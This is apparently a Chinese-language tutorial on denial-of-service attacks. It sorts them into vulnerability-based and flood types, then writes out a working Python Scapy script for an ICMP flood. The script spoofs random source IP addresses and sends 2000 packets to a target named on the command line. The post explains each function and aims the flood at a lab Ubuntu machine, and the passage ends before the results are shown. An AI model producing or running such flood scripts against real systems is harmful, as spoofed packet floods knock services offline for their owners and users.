**DOS攻击的分类:**DOS攻击主要分为两种类型:弱点DOS攻击和泛洪DOS攻击。
- 弱点DOS攻击:指利用系统或应用程序中的漏洞,通过向目标系统发送特定伪造的数据包,从而使系统奔溃或无法正常工作。常见的弱点DOS攻击包括:Ping of Death、Teardrop等。
- 泛洪DOS攻击:也称流量攻击,是指攻击者通过向目标系统发送大量的请求或数据包,以占用其网络宽带、CPU、存储器、和其他资源,导致目标系统无法处理正常的服务请求。常见的泛洪DOS攻击包括:UDP Flood、TCP Flood、ICMP Flood等。
那么我们废话不多说,学习过了scapy之后我们应该很容易就可以编写出相对应的攻击脚本
一、使用python编写ICMP Flood DOS 脚本
初步尝试
from scapy.all import *
from scapy.layers.inet import *
from ipaddress import ip_network
def create_ip():
from random import choice
ip_pool = []
for ip in ip_network("192.168.2.0/24"):
ip_pool.append(ip)
return str(random.choice(ip_pool))
def ICMP_FLOOD(src_ip,dst_ip):
from random import randint
attack_data_package = IP(src = src_ip , dst = dst_ip , id = random.randint(100,1000))/ICMP(id = random.randint(100,1000) , seq = random.randint(100,1000))/"5656566"
for i in range(2000):
print(f"[+]rip:{src_ip}--->dip:{dst_ip} Ok !")
send(attack_data_package,verbose=False)
def main():
import sys
ICMP_FLOOD(create_ip(),str(sys.argv[1]))
if __name__ == '__main__':
main()
- 可以看到我们在代码中,使用
create_ip()
来随机生成源ip地址来伪造ip, - 然后在
ICMP_FLOOD()
来发起攻击,在这个函数里我们构造了IP/ICMP的数据包,使用for循环来发送指定的包次。 - 最后在main()函数中调用来实现攻击。
我们本次以Ubuntu这台机器为攻击目标,IP地址是:192.168.64.140,我们通过iftop
来监测网络流量数据
我们来看看效果: